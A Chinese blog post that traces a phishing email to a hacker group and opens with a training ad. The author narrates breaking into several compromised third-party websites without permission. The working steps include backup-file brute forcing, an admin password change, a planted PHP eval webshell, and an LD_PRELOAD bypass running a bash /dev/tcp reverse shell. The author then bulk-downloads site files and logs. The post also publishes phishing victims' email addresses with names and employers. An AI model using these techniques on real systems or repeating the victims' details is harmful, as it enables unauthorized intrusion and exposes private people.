如何通过一封恶意邮件追踪幕后黑客组织
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
一、前言
近日朋友收到一封来自海外的钓鱼邮件,委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式,详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。
二、信息收集
这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件:

Received: from sysmailout1.platon.sk (unknown [85.248.228.17])by bizmx16.qq.com (NewMx) with SMTP idfor <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800X-QQ-SPAM: trueX-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbTfHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZQUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkKyGbgfv5Gx9Qr65abnNzXymg=X-QQ-mid: bizmx16t1543445804ti4ex7suwX-QQ-CSender: www-data@m7web1.platon.skX-QQ-ORGSender: www-data@m7web1.platon.skX-KK-mid:bizmxp6t1543445804t9ne878suReceived: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002Efor <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)Received: by m7web1.platon.sk (Postfix, from userid 33)id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)To: test@test.cnSubject: =?UTF-8?Q?Password_expiry_notice?=Date: Wed, 28 Nov 2018 23:56:38 +0100From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>X-Priority: 3MIME-Version: 1.0Content-Transfer-Encoding: quoted-printableContent-Type: text/html; charset="us-ascii"略...<br>The password for the Microsoft 365 account<span style=3D"font-weight: b=old;"> test@test.cn</span> hasexpired.<br>![mir-nc.png-57.1kB][2]<span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =account, your existing password may cease to workshortly.<br><br>You are now required to <span class=3D"Apple-converted-space"></span><a hre=f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=test.cn"><span style=3D"font-weight: bold;">changeyour password</span></a>immediateIy.<span class=3D"Apple-converted-space"> <br>=2E</span><br><a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn略...
2.2 分析邮件内容
根据邮件内容得到的信息如下:
钓鱼网站: www.rosturplast.com(137.74.81.5 法国) 钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn 发件地址: no-response@365.mirohaviar.sk 服务商: Platon Technologies, s.r.o (斯洛伐克) SMTP: sysmailout1.platon.sk (85.248.228.17 斯洛伐克)
三、渗透钓鱼网站
3.1 漏洞分析
目标网站:www.rosturplast.com
访问钓鱼链接,一个克隆OWA修改密码的的虚假页面,我们按照正常流程走一遍,密码随便输入。不出所料页面提示密码错误,这么做可以收集受害者多个密码提高成功率,仔细想想这个功能还是很贴心的:)。
Step 1

Step 2

Step 3

抓包如下:注入、跨站之流都是不存在的。

访问首页,这是一家俄罗斯的塑料水管厂商,攻击者入侵了这个网站,放置了钓鱼页面,再通过邮件传播。

端口扫描显示开放了一堆端口,防火墙做了策略限制。

通过扫描分析,得到沦陷主机信息如下:
[+] HOST: www.rosturplast.com (137.74.81.5 法国) [+] OS: Red Hat 4.8 [+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 [+] CMS: Joomla 3.3.3 (Joomla!是一套海外流行的建站系统,基于PHP+MySQL开发)
这是一个低版本的Joomla,joomscan扫描显示受害网站有一堆漏洞,看起来弱不禁风,Getshell指日可待。

扫描发现PHPMailer RCE漏洞,不过需要邮件发送表单功能才能利用,这一堆漏洞里面,看起来唯一有机会的是CVE-2016-9838(Joomla! Core Remote Privilege Escalation Vulnerability),然而经过测试攻击者(丧心病狂)贴心的把用户注册页面删除了!堵住了漏洞,导致无法利用。

机智的我(此时毫无办法),开始挂字典整合Joomla目录盲扫备份文件,最后发现目标存在PhpMyAdmin后台,和一个报错页面,页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。
/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip
3.2 陷入僵局
尝试下载这个文件,http响应404。看了一下同站有多个站点,但旁站渗透是个体力活,国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局,睡个午觉养养神,下午继续研究。
wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 错误 404:Not Found
3.3 后台提权
不到万不得已,不从旁站和C段入手,稍加思索根据报错页面的备份文件名格式生成日期文件,尝试遍历日期下载,碰碰运气。
脚本内容:
#!/bin/bashstartdate=`date -d "+0 day $1" +%Y%m%d`enddate=`date -d "+0 day $2" +%Y%m%d`while [[ $startdate -le $enddate ]]dodate=$startdatestartdateother=`date -d "+0 day $date" +%Y-%m-%d`dateother=$startdateotherurl=http://www.rosturplast.com/rosturplast.com.$dateother.zipecho "$url"startdate=`date -d "+1 day $date" +%Y-%m-%d`startdateother=`date -d "+1 day $date" +%Y-%m-%d`wget $urldone
脚本大概跑了一个下午,当到达2017-08-07的时候,响应200状态码,看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了,解压后果然是整站备份,果然是柳暗花明又一shell。


查看配置文件 configuration.php得到数据库连接信息,登录PhpMyAdmin后台。低权限无法直接写shell,只能修改默认密码登录Joomla!后台。
public $dbtype = 'mysqli';public $host = 'localhost';public $user = 'user***'; //敏感信息打码public $password = 'K********6759'; //敏感信息打码public $db = 'rtp_com3';public $dbprefix = 'ms8ef_';public $live_site = '';public $secret = '5qp******4zU'; //敏感信息打码


备份原始密文以备还原,将后台密码修改为 test123456XYZ
http://www.rosturplast.com/administrator/admin / test123456XYZ

登录后台,通过模板写入WebShell
Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll

这里写入了PHP一句话WebShell,通过Cknife(java版中国菜刀)对网站进行控制。
<?php @eval($_POST['cmd']);?>

查看攻击者的钓鱼文件目录, user.txt 详细记录了上钩的受害者信息。

3.4 日志分析
将网站文件和访问日志下载到本地分析
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs /var/www/rosturpl/data/logs/rosturplast*[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz /var/www/rosturpl/data/www/rosturplast.com/wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz⚡ root@kali /tmp gzip -d *.gz⚡ root@kali /tmp ls -lh总用量 22M-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130
用D盾扫网站文件,发现这个网站已成跑马场。

攻击者在 shells/目录下放置钓鱼文件和PHP后门。

查看哪些IP访问了后门并统计次数
查询攻击者IP地址
⚡ root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt26 174.85.145.9920 50.73.252.16910 213.233.104.1202 207.228.149.692 195.211.23.2072 129.205.113.8
⚡ root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 174.85.145.99 来自: 美国IP: 50.73.252.169 来自: 美国IP: 213.233.104.120 来自: 罗马尼亚IP: 207.228.149.69 来自: 百慕大IP: 195.211.23.207 来自: 俄罗斯IP: 129.205.113.8 来自: 尼日利亚
根据后门文件名,匹配Apache访问日志得到攻击者的代理IP和User Agent
⚡ root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
通过日志匹配邮箱并去重得到受害者邮箱地址
egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
⚡ root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniqalexsin54@yahoo.com //攻击者邮箱clavenda.payman@lbdi.net //利比亚发展投行CFOdennis@rayfields.co.za //域名失效georges.raad@nera.net //新加坡IT基础设施提供商员工gthakkar@sscinc.com //美国SS&C Technologies, Inc. (印度分公司)jasonchowan223@gmail.com //攻击者邮箱******@******.com //同事jiajie.lim@cimb.com //马来西亚联昌国际银行员工kohchinbeng@bdo.com.sg //新加坡立信会计师事务所员工mayfaithlee@hotmail.com //未知philip@beekoo.hk //深圳市很有蜂格网络科技有限公司CEOPoint72.IR@sscinc.com //美国SS&C Technologies, Inc.shunweicapital@sscinc.com //美国SS&C Technologies, Inc.(疑似顺为资本)url@email.com //无效
3.5 受害者身份识别
通过搜索引擎对这15个受害者邮箱进行身份识别。
3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com
alexsin54@yahoo.com:攻击者欺诈账户,曾被举报过,在这里攻击者用来作钓鱼测试。 jasonchowan223@gmail.com:通过钓鱼程序配置文件获得。
./logon.secureaccess/mail.php:$mail="jasonchowan223@gmail.com";来源:http://www.payer.org/test/ 来源:https://avoidaclaim.com/2018/debt-collection-fraud-using-the-name-yeung-alexander-luk/


3.5.2 clavenda.payman@lbdi.net
Mrs. Clavenda O. PAYMAN 利比亚发展投行(Liberian Bank forDevelopment and nvestment)首席财务官 来源:https://www.adfi-ci.org/downloads/telecharger.php?Fichieratelecharger=files/aadfidocen_20130623170205.pdf&chemin=&id=91


3.5.3 georges.raad@nera.net
疑似新加坡 Nera Telecommunications Ltd(IT基础设施提供商)公司员工 来源:http://www.nera.net/about-us.html
3.5.4 gthakkar@sscinc.com
美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited 来源:https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044
来源: http://www.seepz.gov.in/writereaddatafolder/Regional%20Governing%20Council%20of%20EPCES%20for%202016-18.pdf

3.5.5 jiajie.lim@cimb.com
马来西亚联昌国际银行员工(CIMB Group) 来源:https://www.cimb.com/en/who-we-are.html
3.5.6 kohchinbeng@bdo.com.sg
KOH CHIN BENG 新加坡立信会计师事务所员工
来源:https://www.bdo.com.sg/en-gb/our-people/koh-chin-beng

3.5.7 philip@beekoo.hk
深圳市很有蜂格网络科技有限公司 CEO 来源:https://m.zhipin.com/job_detail/1407383492.html 来源:https://www.tianyancha.com/company/2349004659

四、渗透邮件发送网站
目标:mirohaviar.sk ,这是一个博客网站
4.1 漏洞扫描
服务器信息如下:
[+] HOST: mirohaviar.sk(85.248.229.150 斯洛伐克) [+] OS: Debian 7 [+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16 [+] CMS: Joomla 1.5


CMS漏洞扫描得到图示的漏洞信息,经过测试全部无法利用,其他端口也没有发现可以利用的的漏洞,看来攻击者也是一个勤奋的同学,入侵成功后做了相应的修复和加固,看起来毫无办法,好像只能旁站或者C段渗透了。
然而有人的地方就有江湖,有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙,后门文件一般都有特征,我根据前一个网站获得的php后门文件名列表,批量访问当前网站得到了三个相同的后门文件。

⚡ root@kali /tmp/rosturplast.com/webroot/shells md5sum *724e7316427151ea1f449f38a28f642c 406.php3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaaaaf775b99997c166ff45677806d809de an.phpe5c06f1f66781ba5c39d909096c4cd47 a.txtf71ad06982064b125d155b6f601198b8 bacu.phpf2d7553b97d8e0a0258e48c3ca42a7d2 baer.phpc01a0691c484a8d00977a100d8706b50 cfg.phpe5c06f1f66781ba5c39d909096c4cd47 config.phpmd5sum: logon.secureaccess: 是一个目录983ba05973b84e33e76916ca0dabedec new2bug.txt1c014f955a67974dc779100c13162f1a priv8.php2a73dda7ebb3b8d1c0d094b79623e9ff setup.php80b5dadd0a9856f1e6d950843140d24e switch-security.php48f50fb676028e0ae82f3f2db4e26247 unzipper.php51f0bba7ec30b8778dca19ead016a58f webapp365.zip58d1d66c0be0739319156702522b1b52 wso.php
相同文件名如下:
http://www.mirohaviar.sk/config.phphttp://www.mirohaviar.sk/an.phphttp://www.mirohaviar.sk/bacu.php Pro Mailer V2
其中 http://www.mirohaviar.sk/config.php 是攻击者的加密WebShell,理论上只需解密获得密码就能登录这个后门。
4.2 解密WebShell
解密过程如下
php//去除头尾多余字符,得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'//第一次base64解码,得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p//第二次hex解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'//第三次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}'//第四次base64解码,得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i//第五次base64解码,得到明文




得到后门密码hash(MD5),解密后得到明文: root (饶了个大弯原来是个弱口令,下次遇到这类先跑一下密码)
$auth_pass = "63a9f0ea7bb98050796b649e85481845";

这个后门有点皮,做了UserAgent判断,我浏览器默认设置的UA是Googlebot,访问显示404,这是反搜索引擎爬虫的惯用手段,所以我换了个正常浏览器的UA访问得到正常页面。
if(!empty($_SERVER['HTTP_USER_AGENT'])) {$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {header('HTTP/1.0 404 Not Found');exit;}}

4.3 提权
通过webshell得到了具体系统信息,下一步尝试提权,目的是获得Apache的web访问日志。

4.3.1 突破disable_functions
测试发现目标限制跨目录(open_basedir),并禁用了命令执行函数,导致WebShell权限下,无法跨目录访问也无法执行命令。
disable_functions: escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec open_basedir: /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:

突破的手段很多,这里我利用LDPRELOAD动态链接来劫持php的mail函数突破disablefunctions执行系统命令。
查看sendmail函数在执行过程中动态调用哪些标准库函数。
www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmailSymbol table '.dynsym' contains 420 entries:Num: Value Size Type Bind Vis Ndx Name0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)......76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)
从中选取geteuid函数进行测试,编写动态链接程序bypass.c
#include<stdlib.h>#include <stdio.h>#include<string.h>void payload() {system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");}int geteuid() {if(getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令调用system执行一个反弹shell的操作(xxx.xxx.xxx.xxx即是我的公网服务器IP)
编译
gcc -c -fPIC bypass.c -o bypassgcc -shared bypass.c -o bypass.so
上传
www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.sowww-data@m7web1:/tmp$ file bypass.sofile bypass.sobypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)
执行
bypass.php
<?phpputenv("LD_PRELOAD=/tmp/bypass.so");mail("test@localhost","","","","");?>
浏览器访问 http://www.mirohaviar.sk/bypass.php页面后成功执行命令,得到了一个www-user权限的反弹shell。

4.3.2 发现行踪
仔细看这是一家斯洛伐克的网络公司,这台服务器上面托管了五百多个网站,当前的权限可以访问这些网站的文件和数据库,令人遗憾的的是apache日志目录 /var/log/apache2/无权限访问。

不过我在 /tmp目录下面发现了一个有趣的日志文件。
[/tmp/]$cat w--2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgzConnecting to 187.85.134.4:80... connected.HTTP request sent, awaiting response... 200 OKLength: 769309 (751K) [application/x-gzip]Saving to: 'mm.tgz'0K .......... .......... .......... .......... .......... 6% 174K 4s50K .......... .......... .......... .......... .......... 13% 176K 4s100K .......... .......... .......... .......... .......... 19% 14.1M 2s150K .......... .......... .......... .......... .......... 26% 353K 2s200K .......... .......... .......... .......... .......... 33% 353K 2s250K .......... .......... .......... .......... .......... 39% 19.8M 1s300K .......... .......... .......... .......... .......... 46% 355K 1s350K .......... .......... .......... .......... .......... 53% 28.7M 1s400K .......... .......... .......... .......... .......... 59% 23.6M 1s450K .......... .......... .......... .......... .......... 66% 344K 1s500K .......... .......... .......... .......... .......... 73% 18.0M 0s550K .......... .......... .......... .......... .......... 79% 360K 0s600K .......... .......... .......... .......... .......... 86% 20.4M 0s650K .......... .......... .......... .......... .......... 93% 20.2M 0s700K .......... .......... .......... .......... .......... 99% 12.7M 0s750K . 100% 2438G=1.3s2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]
4.4 追踪
根据泄露日志,使用谷歌搜索关键字: http://187.85.134.4,发现了一个历史页面。


是一个已经被删除的后门页面,刚好被谷歌爬虫收录了,进一步搜索一下这个后门参数的关键字: inurl:bc.php?filesrc=,得到了多条后门记录。

其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名: MuslimCyberCorp-MujahidinCyberArmy-FamilyAttackCyber ,表明后门均为这个黑客组织所有。

进一步搜索这个黑客组织名称,发现大量被黑网站,程序使用Wordpress与Joomla居多。





4.5 提取日志
我提取了其中几个被入侵网站的访问日志。
4.5.1 网站:www.radiolanalhue.cl
打包
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz /home/radiolanalhue/public_html/tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz /home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl
下载
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gzwget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz
分析
根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。✘ ⚡ root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018疑似攻击者代理IP:212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"谷歌爬虫:66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
4.5.2 网站:zebramedia.al
打包
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs
下载
wget http://zebramedia.al/zebramedia.al-log.tar.gzwget http://zebramedia.al/zebramedia.al-www.tar.gz-rw-r--r-- 1 1365 1328 478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 1855430 6月 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz-rw-r--r-- 1 1365 1328 7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 129055 11月 30 21:15 publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz-rw-r--r-- 1 1365 1328 6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz-rw-r--r-- 1 1365 1328 52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz
分析
根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq148 197.211.61.82 (尼日利亚)8 178.128.221.199 (希腊)⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
4.5.2 网站:helioncomposites.com
打包
日志路径:/home2/helionco/access-logs/helioncomposites.com/日志备份:ls /home2/helionco/logs/ftp.helioncomposites.com-ftp_log-Feb-2018.gzhelioncomposites.com-Dec-2018.gzhelioncomposites.com-Nov-2018.gzhelioncomposites.com-ssl_log-Dec-2018.gzhelioncomposites.com-ssl_log-Nov-2018.gztar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/
下载
wget http://helioncomposites.com/helioncomposites.com-log.tar.gzwget http://helioncomposites.com/helioncomposites.com-www.tar.gz
分析
